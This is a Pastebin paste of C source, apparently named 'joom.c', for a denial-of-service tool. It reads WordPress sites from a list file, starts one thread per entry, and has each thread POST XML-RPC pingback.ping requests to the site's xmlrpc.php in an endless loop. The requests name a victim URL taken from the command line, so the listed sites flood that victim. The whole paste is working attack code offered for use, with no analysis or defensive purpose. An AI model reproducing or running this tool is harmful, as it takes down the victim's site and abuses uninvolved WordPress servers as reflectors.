Advertisement
wtfbbq

joom.c

Jun 3rd, 2015
1,724
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.78 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <sys/mman.h>
  3. #include <sys/types.h>
  4. #include <sys/stat.h>
  5. #include <fcntl.h>
  6. #include <sys/param.h>
  7. #include <stdio.h>
  8. #include <sys/types.h>
  9. #include <dirent.h>
  10. #include <pthread.h>
  11. #include <curl/curl.h>
  12. static int numt = 100;
  13. static char* url = NULL;
  14.  
  15. static size_t nullsub(void *contents, size_t size, size_t nmemb, void *userp) { return size * nmemb; };
  16. typedef struct entry
  17. {
  18. int i;
  19. char* target;
  20. } entry;
  21.  
  22.  
  23. static void *pull_one_url(entry* ent)
  24. {
  25.   CURL *curl;
  26.   int th = ent->i;
  27.   char* pingback_req = malloc(1024+strlen(url)+strlen(ent->target));
  28.   sprintf(pingback_req, "<?xmlversion=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>", url, ent->target);
  29.   curl = curl_easy_init();
  30.   char* urla = malloc(strlen(ent->target) + 20);
  31.   *(char*)(strchr(ent->target, '?')) = 0;
  32.   strcpy(urla, ent->target);
  33.   strcat(urla, "/xmlrpc.php");
  34.   curl_easy_setopt(curl, CURLOPT_URL, urla);
  35.   curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nullsub);
  36.   curl_easy_setopt(curl, CURLOPT_MAXCONNECTS, numt);
  37.   curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
  38.   curl_easy_setopt(curl, CURLOPT_POSTFIELDS, pingback_req);
  39.   curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(pingback_req));
  40.   while(1)
  41.   {
  42.   curl_easy_perform(curl); /* ignores error */
  43.   }
  44.   curl_easy_cleanup(curl);
  45.  
  46.   return NULL;
  47. }
  48.  
  49. int main(int argc, char **argv)
  50. {
  51.   if (argc < 2) {
  52.     puts("usage: ./binary [url]");
  53.     exit(1);
  54.   }
  55.   url=argv[1];
  56.   int mult=1;
  57.   int fd = open("./list.txt", O_RDWR);
  58.   FILE* ofg = fdopen(fd, "rw");
  59.   fseek(ofg, 0L, SEEK_END);
  60.   int ssize = ftell(ofg);
  61.   fseek(ofg, 0L, SEEK_SET);
  62.   char* memblock = mmap(NULL, ssize, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  63.   char* omem = memblock;
  64.   size_t point = 0;
  65.   int newlines = 0;
  66.   while (point <= ssize)
  67.   {
  68.     if (memblock[point] == '\n')
  69.     {
  70.       newlines++;
  71.     }
  72.     point++;
  73.   }
  74.  
  75.   pthread_t* tid=malloc(sizeof(pthread_t) * newlines * mult);
  76.   int i=0,k,z;
  77.   int error;
  78.   curl_global_init(CURL_GLOBAL_ALL);
  79.   for(k=0; k < mult; k++) {
  80.   memblock = omem;
  81.   for(z=0; z < newlines; z++) {
  82.     char* p = strchr(memblock, '\n');
  83.     *p = 0;
  84.     entry* ent = malloc(sizeof(entry));
  85.     ent->i = i+1;
  86.     ent->target = memblock;
  87.     memblock=p+1;
  88.     error = pthread_create(&tid[i],
  89.                            NULL,
  90.                            pull_one_url,
  91.                            (void *)((entry*)ent));
  92.     if(0 != error)
  93.       fprintf(stderr, "Couldn't run thread number %d, errno %d\n", i+1, error);
  94.     else
  95.       fprintf(stderr, "Thread %d initialized\n", i+1, argv[1]);
  96.     i++;
  97.   }
  98.   }
  99.   while(1) sleep(100);
  100.   return 0;
  101. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement